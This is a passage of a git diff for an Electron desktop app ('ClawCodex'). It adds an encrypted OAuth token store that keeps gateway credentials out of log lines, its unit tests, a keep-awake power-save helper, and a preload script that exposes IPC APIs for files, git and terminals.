+  const disk = createFakeDisk(JSON.stringify({ [GATEWAY]: { encoding: 'safeStorage', value: 'AAAA' } }), {
+    decrypt: () => {
+      throw 'keychain exploded'
+    }
+  })
+
+  assert.equal(loadNativeTokenSet(GATEWAY, disk.io), null)
+  assert.match(disk.logs[0], /keychain exploded/)
+})
+
+test('an unwritable store file is logged rather than thrown', () => {
+  const disk = createFakeDisk(null, {
+    writeStoreText: () => {
+      throw new Error('EACCES: permission denied')
+    }
+  })
+
+  assert.doesNotThrow(() => persistNativeTokenSet(GATEWAY, TOKENS, disk.io))
+  assert.match(disk.logs[0], /failed to persist tokens: EACCES/)
+})
+
+test('a non-Error write failure keeps its detail in the log', () => {
+  const disk = createFakeDisk(null, {
+    writeStoreText: () => {
+      throw 'disk went away'
+    }
+  })
+
+  // `(error as Error).message` on a thrown string reads as undefined and loses
+  // the only diagnostic there was.
+  assert.doesNotThrow(() => persistNativeTokenSet(GATEWAY, TOKENS, disk.io))
+  assert.equal(disk.logs[0], '[native-oauth] failed to persist tokens: disk went away')
+})
+
+test('an unusable keychain fails the write loudly and writes nothing', () => {
+  const existing = createFakeDisk()
+
+  persistNativeTokenSet(GATEWAY, TOKENS, existing.io)
+
+  const before = existing.fileText()
+
+  const broken = createFakeDisk(before, {
+    encrypt: () => {
+      throw new Error('Secure token storage is unavailable')
+    }
+  })
+
+  // Storing must not pretend to succeed when the token cannot be encrypted...
+  assert.throws(() => persistNativeTokenSet(GATEWAY, { ...TOKENS, accessToken: 'AT-new' }, broken.io), /unavailable/)
+  // ...and must not clobber the tokens already on disk.
+  assert.equal(broken.fileText(), before)
+})
+
+test('an encrypt that returns null is refused rather than blanking the stored entry', () => {
+  const existing = createFakeDisk()
+
+  persistNativeTokenSet(GATEWAY, TOKENS, existing.io)
+
+  const before = existing.fileText()
+  const nulled = createFakeDisk(before, { encrypt: () => null })
+  let writes = 0
+
+  // Spy that still delegates, so a stray write would show up in BOTH the
+  // counter and the file text.
+  const io = {
+    ...nulled.io,
+    writeStoreText: (text: string) => {
+      writes += 1
+      nulled.io.writeStoreText(text)
+    }
+  }
+
+  // A quiet null is the same failure as a throw and must be just as loud.
+  assert.throws(
+    () => persistNativeTokenSet(GATEWAY, { ...TOKENS, accessToken: 'AT-new' }, io),
+    /refusing to overwrite stored native tokens/
+  )
+  assert.equal(writes, 0, 'the store file must not be written at all')
+  // Byte-for-byte unchanged...
+  assert.equal(nulled.fileText(), before)
+  // ...and the original token set still loads, refresh token intact.
+  assert.deepEqual(loadNativeTokenSet(GATEWAY, createFakeDisk(before).io), TOKENS)
+})
+
+// --- credential redaction in logs ---
+//
+// normalizeRemoteBaseUrl() strips query/fragment/trailing slashes but not
+// userinfo, so a configured gateway URL can carry `user:password@` into this
+// store. It must stay intact as the store KEY and never reach a log line.
+
+const CRED_GATEWAY = 'https://alice:supersecret@gw.example.com/clawcodex'
+
+test('a decryption failure logs the gateway host and path but not its credentials', () => {
+  const first = createFakeDisk()
+
+  persistNativeTokenSet(CRED_GATEWAY, TOKENS, first.io)
+
+  const before = first.fileText()
+  const locked = createFakeDisk(before, { decrypt: () => '' })
+
+  assert.equal(loadNativeTokenSet(CRED_GATEWAY, locked.io), null)
+  // Still identifies which gateway failed...
+  assert.match(locked.logs[0], /failed to decrypt stored tokens for https:\/\/gw\.example\.com\/clawcodex/)
+  assert.match(locked.logs[0], /keeping stored entry for retry/)
+  // ...without the userinfo.
+  assert.doesNotMatch(locked.logs[0], /alice/)
+  assert.doesNotMatch(locked.logs[0], /supersecret/)
+  // Redaction is log-only: the entry stays under the credential-bearing key.
+  assert.ok(JSON.parse(locked.fileText()!)[CRED_GATEWAY])
+  assert.equal(locked.fileText(), before)
+})
+
+test('a parsing failure logs the gateway host and path but not its credentials', () => {
+  const disk = createFakeDisk(JSON.stringify({ [CRED_GATEWAY]: { encoding: 'safeStorage', value: 'bm90LWpzb24=' } }))
+
+  assert.equal(loadNativeTokenSet(CRED_GATEWAY, disk.io), null)
+  assert.match(disk.logs[0], /failed to load stored tokens for https:\/\/gw\.example\.com\/clawcodex/)
+  assert.doesNotMatch(disk.logs[0], /alice/)
+  assert.doesNotMatch(disk.logs[0], /supersecret/)
+})
+
+test('the credential-bearing base URL stays the exact store key', () => {
+  const first = createFakeDisk()
+
+  persistNativeTokenSet(CRED_GATEWAY, TOKENS, first.io)
+
+  assert.deepEqual(Object.keys(JSON.parse(first.fileText()!)), [CRED_GATEWAY])
+  // The original key still round-trips a full set after a restart.
+  assert.deepEqual(loadNativeTokenSet(CRED_GATEWAY, createFakeDisk(first.fileText()).io), TOKENS)
+  // The redacted form is a log string, never a lookup key.
+  assert.equal(loadNativeTokenSet('https://gw.example.com/clawcodex', createFakeDisk(first.fileText()).io), null)
+})
+
+test('an unparseable gateway URL logs a fixed placeholder rather than the raw value', () => {
+  // A space makes this unparseable by URL, so redaction cannot fall back to
+  // echoing the input — that would leak the very credentials it guards.
+  const invalid = 'ht tp://alice:supersecret@gw.example.com'
+
+  const disk = createFakeDisk(JSON.stringify({ [invalid]: { encoding: 'safeStorage', value: 'AAAA' } }), {
+    decrypt: () => ''
+  })
+
+  assert.equal(loadNativeTokenSet(invalid, disk.io), null)
+  assert.match(disk.logs[0], /<invalid gateway URL>/)
+  assert.doesNotMatch(disk.logs[0], /alice/)
+  assert.doesNotMatch(disk.logs[0], /supersecret/)
+})
diff --git a/ui-desktop/electron/native-token-store.ts b/ui-desktop/electron/native-token-store.ts
new file mode 100644
index 000000000..5506ae1c5
--- /dev/null
+++ b/ui-desktop/electron/native-token-store.ts
@@ -0,0 +1,165 @@
+/**
+ * native-token-store.ts
+ *
+ * The encrypted-at-rest persistence seam for RFC 8252 native OAuth tokens:
+ * NativeTokenSet → JSON → safeStorage blob → store file, and back again on the
+ * next launch.
+ *
+ * Kept standalone (no `import 'electron'`) so the whole restart path unit-tests
+ * with the `electron` vitest project — the same pattern as native-oauth.ts.
+ * main.ts owns the electron-coupled halves and injects them: the safeStorage
+ * encrypt/decrypt pair and the userData store-file read/write.
+ *
+ * The parser direction is the load-bearing detail. What lands on disk is the
+ * *normalized* camelCase NativeTokenSet, so the reload boundary is
+ * parseStoredTokenSet(). Gateway `/auth/native/token` responses are snake_case
+ * and stay with parseTokenResponse(); crossing the two made the decrypted set
+ * throw on every launch, which surfaced as "signed out after restart" (#73271).
+ */
+
+import { type NativeTokenSet, parseStoredTokenSet } from './native-oauth'
+
+/** One encrypted blob as written per gateway base URL. */
+export interface StoredTokenSecret {
+  encoding?: string
+  value?: string
+}
+
+/**
+ * The narrow set of side effects main.ts owns. Everything here is injected so
+ * the store/load round trip can be exercised without an Electron runtime, and
+ * so production keeps using safeStorage unchanged.
+ */
+export interface NativeTokenStoreIo {
+  /**
+   * Encrypt one plaintext blob. main.ts passes the strict safeStorage helper,
+   * which THROWS when the OS keychain is unavailable — that must stay loud.
+   * A `null` return is treated as the same authoritative failure: the caller
+   * throws rather than persisting an empty entry over good tokens.
+   */
+  encrypt: (plaintext: string) => StoredTokenSecret | null
+  /** Decrypt a stored payload; returns '' when it cannot be read. */
+  decrypt: (secret: any) => string
+  /** Raw store-file text. Throws when the file is absent — treated as empty. */
+  readStoreText: () => string
+  /** Persist the store-file text (main.ts writes mode 0600 under userData). */
+  writeStoreText: (text: string) => void
+  rememberLog?: (message: string) => void
+}
+
+/**
+ * baseUrl → encrypted payload. A missing, unreadable, or hand-mangled store
+ * reads as empty rather than throwing: a failed *read* falls to the next rung.
+ *
+ * Arrays are rejected alongside every other non-object shape: assigning
+ * store[baseUrl] on an array would set a non-index property, which
+ * JSON.stringify drops on the way back out — the write would look like it
+ * succeeded and the tokens would be gone on the next launch.
+ */
+function readStore(io: NativeTokenStoreIo): Record<string, any> {
+  try {
+    const parsed = JSON.parse(io.readStoreText())
+
+    return parsed && typeof parsed === 'object' && !Array.isArray(parsed) ? parsed : {}
+  } catch {
+    return {}
+  }
+}
+
+/**
+ * A gateway URL safe to write into a log line.
+ *
+ * normalizeRemoteBaseUrl() strips query, fragment, and trailing slashes but
+ * NOT userinfo, so a configured gateway can legitimately carry
+ * `user:password@` all the way down to this store. Interpolating that into a
+ * failure log would spill the credentials into the desktop log file, so drop
+ * the userinfo and keep only what makes the line useful — scheme, host, port,
+ * path. A value URL cannot parse never falls back to the raw input: echoing it
+ * is the exact leak this guards against.
+ */
+function redactGatewayUrl(baseUrl: string): string {
+  try {
+    const parsed = new URL(baseUrl)
+
+    parsed.username = ''
+    parsed.password = ''
+
+    // `host` already carries a non-default port.
+    return `${parsed.protocol}//${parsed.host}${parsed.pathname}`
+  } catch {
+    return '<invalid gateway URL>'
+  }
+}
+
+/**
+ * Write (or, with `tokens === null`, drop) one gateway's token set, merging
+ * into whatever other gateways are already stored.
+ */
+export function persistNativeTokenSet(baseUrl: string, tokens: NativeTokenSet | null, io: NativeTokenStoreIo): void {
+  const store = readStore(io)
+
+  if (tokens) {
+    // Encrypt the whole set as one blob so the refresh token never lands in
+    // plaintext on disk. Deliberately outside the try below: an unusable
+    // keychain is an authoritative write failure and must surface to the
+    // caller, not be logged away as if the tokens were saved.
+    const secret = io.encrypt(JSON.stringify(tokens))
+
+    if (!secret) {
+      // A null blob is the same failure as a throw, only quieter. Storing it
+      // would replace a good entry with nothing: the write would report
+      // success, the next launch would show signed out, and the refresh token
+      // would be unrecoverable. Fail before touching the store.
+      throw new Error('Secure token storage returned no encrypted payload; refusing to overwrite stored native tokens.')
+    }
+
+    store[baseUrl] = secret
+  } else {
+    delete store[baseUrl]
+  }
+
+  try {
+    io.writeStoreText(JSON.stringify(store))
+  } catch (error) {
+    const detail = error instanceof Error ? error.message : String(error)
+
+    io.rememberLog?.(`[native-oauth] failed to persist tokens: ${detail}`)
+  }
+}
+
+/**
+ * Reconstruct a gateway's token set from the stored encrypted payload. Returns
+ * null when nothing is stored, when the blob cannot be decrypted, or when it
+ * does not parse — never a partially-populated set.
+ */
+export function loadNativeTokenSet(baseUrl: string, io: NativeTokenStoreIo): NativeTokenSet | null {
+  // The UNREDACTED url is the store key — redaction is for logs only.
+  const secret = readStore(io)[baseUrl]
+
+  if (!secret) {
+    return null
+  }
+
+  try {
+    const plaintext = io.decrypt(secret)
+
+    if (!plaintext) {
+      // A keychain that is merely locked/unavailable right now must not cost
+      // the user their refresh token — leave the entry for the next attempt.
+      io.rememberLog?.(
+        `[native-oauth] failed to decrypt stored tokens for ${redactGatewayUrl(baseUrl)}; keeping stored entry for retry`
+      )
+
+      return null
+    }
+
+    // Stored blobs are normalized camelCase sets, never raw gateway responses.
+    return parseStoredTokenSet(JSON.parse(plaintext))
+  } catch (error) {
+    const detail = error instanceof Error ? error.message : String(error)
+
+    io.rememberLog?.(`[native-oauth] failed to load stored tokens for ${redactGatewayUrl(baseUrl)}: ${detail}`)
+
+    return null
+  }
+}
diff --git a/ui-desktop/electron/oauth-net-request.test.ts b/ui-desktop/electron/oauth-net-request.test.ts
new file mode 100644
index 000000000..631119363
--- /dev/null
+++ b/ui-desktop/electron/oauth-net-request.test.ts
@@ -0,0 +1,39 @@
+/**
+ * Tests for OAuth-session Electron net.request helpers.
+ *
+ * Run with: node --test electron/oauth-net-request.test.ts
+ */
+
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { serializeJsonBody, setJsonRequestHeaders } from './oauth-net-request'
+
+test('serializeJsonBody returns undefined for absent bodies', () => {
+  assert.equal(serializeJsonBody(undefined), undefined)
+})
+
+test('serializeJsonBody JSON-encodes request bodies', () => {
+  const body = serializeJsonBody({ archived: true })
+  assert.ok(Buffer.isBuffer(body))
+  assert.equal(body.toString('utf8'), '{"archived":true}')
+})
+
+test('setJsonRequestHeaders does not set Electron-restricted Content-Length', () => {
+  const headers = []
+
+  const request = {
+    setHeader(name, value) {
+      headers.push([name, value])
+    }
+  }
+
+  setJsonRequestHeaders(request)
+
+  assert.deepEqual(headers, [['Content-Type', 'application/json']])
+  assert.equal(
+    headers.some(([name]) => name.toLowerCase() === 'content-length'),
+    false
+  )
+})
diff --git a/ui-desktop/electron/oauth-net-request.ts b/ui-desktop/electron/oauth-net-request.ts
new file mode 100644
index 000000000..bab5ef53f
--- /dev/null
+++ b/ui-desktop/electron/oauth-net-request.ts
@@ -0,0 +1,17 @@
+/**
+ * Helpers for Electron net.request calls that ride the OAuth session partition.
+ *
+ * Electron's ClientRequest forbids app-set restricted headers such as
+ * Content-Length. Let Chromium frame the body itself; only set the JSON content
+ * type here.
+ */
+
+function serializeJsonBody(body) {
+  return body === undefined ? undefined : Buffer.from(JSON.stringify(body))
+}
+
+function setJsonRequestHeaders(request) {
+  request.setHeader('Content-Type', 'application/json')
+}
+
+export { serializeJsonBody, setJsonRequestHeaders }
diff --git a/ui-desktop/electron/power-save.test.ts b/ui-desktop/electron/power-save.test.ts
new file mode 100644
index 000000000..97725e0ed
--- /dev/null
+++ b/ui-desktop/electron/power-save.test.ts
@@ -0,0 +1,58 @@
+import { describe, expect, it, vi } from 'vitest'
+
+import { createKeepAwake, type PowerSaveBlockerLike } from './power-save'
+
+function fakeBlocker() {
+  let next = 1
+  const started = new Set<number>()
+
+  const blocker: PowerSaveBlockerLike = {
+    isStarted: id => started.has(id),
+    start: vi.fn(() => {
+      const id = next++
+      started.add(id)
+
+      return id
+    }),
+    stop: vi.fn(id => void started.delete(id))
+  }
+
+  return { blocker, started }
+}
+
+describe('createKeepAwake', () => {
+  it('starts once, is idempotent, and stops', () => {
+    const { blocker } = fakeBlocker()
+    const keepAwake = createKeepAwake(blocker)
+
+    expect(keepAwake.isActive()).toBe(false)
+    expect(keepAwake.set(true)).toBe(true)
+    keepAwake.set(true) // idempotent — no second blocker
+    expect(blocker.start).toHaveBeenCalledTimes(1)
+    expect(blocker.start).toHaveBeenCalledWith('prevent-app-suspension')
+
+    expect(keepAwake.set(false)).toBe(false)
+    keepAwake.set(false)
+    expect(blocker.stop).toHaveBeenCalledTimes(1)
+  })
+
+  it('re-arms after the OS dropped the blocker', () => {
+    const { blocker, started } = fakeBlocker()
+    const keepAwake = createKeepAwake(blocker)
+
+    keepAwake.set(true)
+    started.clear() // system released it out from under us
+    expect(keepAwake.isActive()).toBe(false)
+
+    keepAwake.set(true)
+    expect(blocker.start).toHaveBeenCalledTimes(2)
+    expect(keepAwake.isActive()).toBe(true)
+  })
+
+  it('honors a custom blocker type', () => {
+    const { blocker } = fakeBlocker()
+    createKeepAwake(blocker, 'prevent-display-sleep').set(true)
+
+    expect(blocker.start).toHaveBeenCalledWith('prevent-display-sleep')
+  })
+})
diff --git a/ui-desktop/electron/power-save.ts b/ui-desktop/electron/power-save.ts
new file mode 100644
index 000000000..0939de99d
--- /dev/null
+++ b/ui-desktop/electron/power-save.ts
@@ -0,0 +1,50 @@
+/**
+ * Keep-awake — hold a single machine-global power-save blocker.
+ *
+ * `prevent-app-suspension` stops the system from sleeping (long overnight
+ * agent runs keep going) while still letting the display dim. The renderer
+ * owns the preference (persisted in localStorage) and mirrors it here over
+ * IPC; the main process owns the one native blocker, same authority split as
+ * translucency/zoom. Electron auto-releases the blocker on quit.
+ */
+
+export type KeepAwakeType = 'prevent-app-suspension' | 'prevent-display-sleep'
+
+/** The slice of Electron's `powerSaveBlocker` we use (injected for testing). */
+export interface PowerSaveBlockerLike {
+  start(type: KeepAwakeType): number
+  stop(id: number): void
+  isStarted(id: number): boolean
+}
+
+export interface KeepAwake {
+  /** Turn the blocker on/off (idempotent). Returns the resulting state. */
+  set(on: boolean): boolean
+  isActive(): boolean
+}
+
+export function createKeepAwake(
+  blocker: PowerSaveBlockerLike,
+  type: KeepAwakeType = 'prevent-app-suspension'
+): KeepAwake {
+  let id: null | number = null
+
+  const isActive = () => id !== null && blocker.isStarted(id)
+
+  return {
+    isActive,
+    set(on) {
+      if (on && !isActive()) {
+        id = blocker.start(type)
+      } else if (!on && id !== null) {
+        if (blocker.isStarted(id)) {
+          blocker.stop(id)
+        }
+
+        id = null
+      }
+
+      return isActive()
+    }
+  }
+}
diff --git a/ui-desktop/electron/preload.ts b/ui-desktop/electron/preload.ts
new file mode 100644
index 000000000..97b058859
--- /dev/null
+++ b/ui-desktop/electron/preload.ts
@@ -0,0 +1,355 @@
+import { contextBridge, ipcRenderer, webUtils } from 'electron'
+
+contextBridge.exposeInMainWorld('clawcodexDesktop', {
+  getConnection: profile => ipcRenderer.invoke('clawcodex:connection', profile),
+  revalidateConnection: () => ipcRenderer.invoke('clawcodex:connection:revalidate'),
+  touchBackend: profile => ipcRenderer.invoke('clawcodex:backend:touch', profile),
+  getGatewayWsUrl: profile => ipcRenderer.invoke('clawcodex:gateway:ws-url', profile),
+  openSessionWindow: (sessionId, opts) => ipcRenderer.invoke('clawcodex:window:openSession', sessionId, opts),
+  openWindow: () => ipcRenderer.invoke('clawcodex:window:openInstance'),
+  claimAmbientCue: key => ipcRenderer.invoke('clawcodex:ambient:claim', key),
+  wakeIndicator: {
+    getState: () => ipcRenderer.invoke('clawcodex:wake-indicator:get'),
+    setState: state => ipcRenderer.send('clawcodex:wake-indicator:set', state),
+    onState: callback => {
+      const listener = (_event, state) => callback(state)
+      ipcRenderer.on('clawcodex:wake-indicator:state', listener)
+
+      return () => ipcRenderer.removeListener('clawcodex:wake-indicator:state', listener)
+    }
+  },
+  petOverlay: {
+    // Main renderer → main process: window lifecycle + drag. `request` is
+    // `{ bounds, screen }`; resolves with the screen bounds it actually used.
+    open: request => ipcRenderer.invoke('clawcodex:pet-overlay:open', request),
+    close: () => ipcRenderer.invoke('clawcodex:pet-overlay:close'),
+    setBounds: bounds => ipcRenderer.send('clawcodex:pet-overlay:set-bounds', bounds),
+    setIgnoreMouse: ignore => ipcRenderer.send('clawcodex:pet-overlay:ignore-mouse', ignore),
+    // Flip the overlay focusable (and focus it) while the composer needs keys.
+    setFocusable: focusable => ipcRenderer.send('clawcodex:pet-overlay:set-focusable', focusable),
+    // Main renderer → overlay (forwarded by main): push the latest pet state.
+    pushState: payload => ipcRenderer.send('clawcodex:pet-overlay:state', payload),
+    // Overlay → main renderer (forwarded by main): pop back in / composer submit.
+    control: payload => ipcRenderer.send('clawcodex:pet-overlay:control', payload),
+    // Overlay subscribes to state pushes.
+    onState: callback => {
+      const listener = (_event, payload) => callback(payload)
+      ipcRenderer.on('clawcodex:pet-overlay:state', listener)
+
+      return () => ipcRenderer.removeListener('clawcodex:pet-overlay:state', listener)
+    },
+    // Main renderer subscribes to overlay control messages.
+    onControl: callback => {
+      const listener = (_event, payload) => callback(payload)
+      ipcRenderer.on('clawcodex:pet-overlay:control', listener)
+
+      return () => ipcRenderer.removeListener('clawcodex:pet-overlay:control', listener)
+    }
+  },
+  // Quick Entry: the global-hotkey mini composer window. Main owns the OS
+  // shortcut + the persisted preference; the quick window only captures text
+  // and hands it back, and the primary renderer submits it through the normal
+  // prompt path.
+  quickEntry: {
+    getSettings: () => ipcRenderer.invoke('clawcodex:quick-entry:settings:get'),
+    setSettings: patch => ipcRenderer.invoke('clawcodex:quick-entry:settings:set', patch),
+    submit: payload => ipcRenderer.send('clawcodex:quick-entry:submit', payload),
+    dismiss: () => ipcRenderer.send('clawcodex:quick-entry:dismiss'),
+    // Primary renderer → main → quick window: gateway connection state + the
+    // recent-session options the target picker offers. Main caches the latest
+    // payload so a freshly spawned quick window starts from truth.
+    pushState: payload => ipcRenderer.send('clawcodex:quick-entry:state', payload),
+    // Quick window subscribes to those pushes.
+    onState: callback => {
+      const listener = (_event, payload) => callback(payload)
+      ipcRenderer.on('clawcodex:quick-entry:state', listener)
+
+      return () => ipcRenderer.removeListener('clawcodex:quick-entry:state', listener)
+    },
+    // Main → primary renderer: a submit captured by the quick window.
+    onSubmit: callback => {
+      const listener = (_event, payload) => callback(payload)
+      ipcRenderer.on('clawcodex:quick-entry:submit', listener)
+
+      return () => ipcRenderer.removeListener('clawcodex:quick-entry:submit', listener)
+    },
+    // Main → quick window: you were just summoned (reset draft + refocus).
+    onShown: callback => {
+      const listener = () => callback()
+      ipcRenderer.on('clawcodex:quick-entry:shown', listener)
+
+      return () => ipcRenderer.removeListener('clawcodex:quick-entry:shown', listener)
+    }
+  },
+  getBootProgress: () => ipcRenderer.invoke('clawcodex:boot-progress:get'),
+  getConnectionConfig: profile => ipcRenderer.invoke('clawcodex:connection-config:get', profile),
+  saveConnectionConfig: payload => ipcRenderer.invoke('clawcodex:connection-config:save', payload),
+  applyConnectionConfig: payload => ipcRenderer.invoke('clawcodex:connection-config:apply', payload),
+  testConnectionConfig: payload => ipcRenderer.invoke('clawcodex:connection-config:test', payload),
+  sshConfigHosts: () => ipcRenderer.invoke('clawcodex:ssh-config:hosts'),
+  sshResolveHost: host => ipcRenderer.invoke('clawcodex:ssh-config:resolve', host),
+  probeConnectionConfig: remoteUrl => ipcRenderer.invoke('clawcodex:connection-config:probe', remoteUrl),
+  oauthLoginConnectionConfig: remoteUrl => ipcRenderer.invoke('clawcodex:connection-config:oauth-login', remoteUrl),
+  oauthLogoutConnectionConfig: remoteUrl => ipcRenderer.invoke('clawcodex:connection-config:oauth-logout', remoteUrl),
+  // ClawCodex Cloud: one portal login powers discovery + silent per-agent sign-in
+  // (cloud-auto-discovery Phase 3).
+  cloud: {
+    status: () => ipcRenderer.invoke('clawcodex:cloud:status'),
+    login: () => ipcRenderer.invoke('clawcodex:cloud:login'),
+    logout: () => ipcRenderer.invoke('clawcodex:cloud:logout'),
+    discover: org => ipcRenderer.invoke('clawcodex:cloud:discover', org),
+    agentSignIn: dashboardUrl => ipcRenderer.invoke('clawcodex:cloud:agent-sign-in', dashboardUrl)
+  },
+  profile: {
+    get: () => ipcRenderer.invoke('clawcodex:profile:get'),
+    set: name => ipcRenderer.invoke('clawcodex:profile:set', name)
+  },
+  api: request => ipcRenderer.invoke('clawcodex:api', request),
+  notify: payload => ipcRenderer.invoke('clawcodex:notify', payload),
+  requestMicrophoneAccess: () => ipcRenderer.invoke('clawcodex:requestMicrophoneAccess'),
+  readFileDataUrl: filePath => ipcRenderer.invoke('clawcodex:readFileDataUrl', filePath),
+  readFileDataUrlForAttach: filePath => ipcRenderer.invoke('clawcodex:readFileDataUrlForAttach', filePath),
+  dataUrlReadMax: {
+    get: () => ipcRenderer.invoke('clawcodex:data-url-read-max:get'),
+    set: maxMb => ipcRenderer.invoke('clawcodex:data-url-read-max:set', maxMb)
+  },
+  readFileText: filePath => ipcRenderer.invoke('clawcodex:readFileText', filePath),
+  selectPaths: options => ipcRenderer.invoke('clawcodex:selectPaths', options),
+  selectSavePath: options => ipcRenderer.invoke('clawcodex:selectSavePath', options),
+  writeClipboard: text => ipcRenderer.invoke('clawcodex:writeClipboard', text),
+  readClipboard: () => ipcRenderer.invoke('clawcodex:readClipboard'),
+  saveImageFromUrl: url => ipcRenderer.invoke('clawcodex:saveImageFromUrl', url),
+  saveImageBuffer: (data, ext) => ipcRenderer.invoke('clawcodex:saveImageBuffer', { data, ext }),
+  saveClipboardImage: () => ipcRenderer.invoke('clawcodex:saveClipboardImage'),
+  getPathForFile: file => {
+    try {
+      return webUtils.getPathForFile(file) || ''
+    } catch {
+      return ''
+    }
+  },
+  normalizePreviewTarget: (target, baseDir) => ipcRenderer.invoke('clawcodex:normalizePreviewTarget', target, baseDir),
+  watchPreviewFile: url => ipcRenderer.invoke('clawcodex:watchPreviewFile', url),
+  watchDirectory: dir => ipcRenderer.invoke('clawcodex:watchDirectory', dir),
+  stopPreviewFileWatch: id => ipcRenderer.invoke('clawcodex:stopPreviewFileWatch', id),
+  setActiveWork: payload => ipcRenderer.send('clawcodex:active-work', payload),
+  setTitleBarTheme: payload => ipcRenderer.send('clawcodex:titlebar-theme', payload),
+  setNativeTheme: mode => ipcRenderer.send('clawcodex:native-theme', mode),
+  setTranslucency: payload => ipcRenderer.send('clawcodex:translucency', payload),
+  setKeepAwake: on => ipcRenderer.send('clawcodex:keep-awake', on),
+  setPreviewShortcutActive: active => ipcRenderer.send('clawcodex:previewShortcutActive', Boolean(active)),
+  openExternal: url => ipcRenderer.invoke('clawcodex:openExternal', url),
+  openPreviewInBrowser: url => ipcRenderer.invoke('clawcodex:openPreviewInBrowser', url),
+  fetchLinkTitle: url => ipcRenderer.invoke('clawcodex:fetchLinkTitle', url),
+  sanitizeWorkspaceCwd: cwd => ipcRenderer.invoke('clawcodex:workspace:sanitize', cwd),
+  settings: {
+    getDefaultProjectDir: () => ipcRenderer.invoke('clawcodex:setting:defaultProjectDir:get'),
+    setDefaultProjectDir: dir => ipcRenderer.invoke('clawcodex:setting:defaultProjectDir:set', dir),
+    pickDefaultProjectDir: () => ipcRenderer.invoke('clawcodex:setting:defaultProjectDir:pick')
+  },
+  zoom: {
+    // Current zoom of this window, as { level, percent }.
+    get: () => ipcRenderer.invoke('clawcodex:zoom:get'),
+    setPercent: percent => ipcRenderer.send('clawcodex:zoom:set-percent', percent),
+    // Fires on every zoom change, including the Ctrl/Cmd +/-/0 shortcuts,
+    // so the settings UI can stay in sync with the keyboard.
+    onChanged: callback => {
+      const listener = (_event, payload) => callback(payload)
+      ipcRenderer.on('clawcodex:zoom:changed', listener)
+
+      return () => ipcRenderer.removeListener('clawcodex:zoom:changed', listener)
+    }
+  },
+  revealLogs: () => ipcRenderer.invoke('clawcodex:logs:reveal'),
+  getRecentLogs: () => ipcRenderer.invoke('clawcodex:logs:recent'),
+  readDir: dirPath => ipcRenderer.invoke('clawcodex:fs:readDir', dirPath),
+  gitRoot: startPath => ipcRenderer.invoke('clawcodex:fs:gitRoot', startPath),
+  revealPath: targetPath => ipcRenderer.invoke('clawcodex:fs:reveal', targetPath),
+  openDir: dirPath => ipcRenderer.invoke('clawcodex:fs:openDir', dirPath),
+  desktopPluginsRoot: () => ipcRenderer.invoke('clawcodex:fs:desktopPluginsRoot'),
+  renamePath: (targetPath, newName) => ipcRenderer.invoke('clawcodex:fs:rename', targetPath, newName),
+  writeTextFile: (filePath, content) => ipcRenderer.invoke('clawcodex:fs:writeText', filePath, content),
+  trashPath: targetPath => ipcRenderer.invoke('clawcodex:fs:trash', targetPath),
+  git: {
+    worktreeList: repoPath => ipcRenderer.invoke('clawcodex:git:worktreeList', repoPath),
+    worktreeAdd: (repoPath, options) => ipcRenderer.invoke('clawcodex:git:worktreeAdd', repoPath, options),
+    worktreeRemove: (repoPath, worktreePath, options) =>
+      ipcRenderer.invoke('clawcodex:git:worktreeRemove', repoPath, worktreePath, options),
+    branchSwitch: (repoPath, branch) => ipcRenderer.invoke('clawcodex:git:branchSwitch', repoPath, branch),
+    branchList: repoPath => ipcRenderer.invoke('clawcodex:git:branchList', repoPath),
+    baseBranchList: repoPath => ipcRenderer.invoke('clawcodex:git:baseBranchList', repoPath),
+    repoStatus: repoPath => ipcRenderer.invoke('clawcodex:git:repoStatus', repoPath),
+    fileDiff: (repoPath, filePath) => ipcRenderer.invoke('clawcodex:git:fileDiff', repoPath, filePath),
+    scanRepos: (roots, options) => ipcRenderer.invoke('clawcodex:git:scanRepos', roots, options),
+    review: {
+      list: (repoPath, scope, baseRef) => ipcRenderer.invoke('clawcodex:git:review:list', repoPath, scope, baseRef),
+      diff: (repoPath, filePath, scope, baseRef, staged) =>
+        ipcRenderer.invoke('clawcodex:git:review:diff', repoPath, filePath, scope, baseRef, staged),
+      stage: (repoPath, filePath) => ipcRenderer.invoke('clawcodex:git:review:stage', repoPath, filePath),
+      unstage: (repoPath, filePath) => ipcRenderer.invoke('clawcodex:git:review:unstage', repoPath, filePath),
+      revert: (repoPath, filePath) => ipcRenderer.invoke('clawcodex:git:review:revert', repoPath, filePath),
+      revParse: (repoPath, ref) => ipcRenderer.invoke('clawcodex:git:review:revParse', repoPath, ref),
+      commit: (repoPath, message, push) => ipcRenderer.invoke('clawcodex:git:review:commit', repoPath, message, push),
+      commitContext: repoPath => ipcRenderer.invoke('clawcodex:git:review:commitContext', repoPath),
+      push: repoPath => ipcRenderer.invoke('clawcodex:git:review:push', repoPath),
+      shipInfo: repoPath => ipcRenderer.invoke('clawcodex:git:review:shipInfo', repoPath),
+      createPr: repoPath => ipcRenderer.invoke('clawcodex:git:review:createPr', repoPath)
+    }
+  },
+  terminal: {
+    cwd: id => ipcRenderer.invoke('clawcodex:terminal:cwd', id),
+    dispose: id => ipcRenderer.invoke('clawcodex:terminal:dispose', id),
+    resize: (id, size) => ipcRenderer.invoke('clawcodex:terminal:resize', id, size),
+    start: options => ipcRenderer.invoke('clawcodex:terminal:start', options),
+    write: (id, data) => ipcRenderer.invoke('clawcodex:terminal:write', id, data),
+    onData: (id, callback) => {
+      const channel = `clawcodex:terminal:${id}:data`
+      const listener = (_event, payload) => callback(payload)
+      ipcRenderer.on(channel, listener)
+
+      return () => ipcRenderer.removeListener(channel, listener)
+    },
+    onExit: (id, callback) => {
+      const channel = `clawcodex:terminal:${id}:exit`
+      const listener = (_event, payload) => callback(payload)
+      ipcRenderer.on(channel, listener)
+
+      return () => ipcRenderer.removeListener(channel, listener)
+    }
+  },
+  onClosePreviewRequested: callback => {
+    const listener = () => callback()
+    ipcRenderer.on('clawcodex:close-preview-requested', listener)
+
+    return () => ipcRenderer.removeListener('clawcodex:close-preview-requested', listener)
+  },
+  onOpenFolderRequested: callback => {
+    const listener = () => callback()
+    ipcRenderer.on('clawcodex:open-folder-requested', listener)
+
+    return () => ipcRenderer.removeListener('clawcodex:open-folder-requested', listener)
+  },
+  onOpenUpdatesRequested: callback => {
+    const listener = () => callback()
+    ipcRenderer.on('clawcodex:open-updates', listener)
+
+    return () => ipcRenderer.removeListener('clawcodex:open-updates', listener)
+  },
+  onDeepLink: callback => {
+    const listener = (_event, payload) => callback(payload)
+    ipcRenderer.on('clawcodex:deep-link', listener)
+
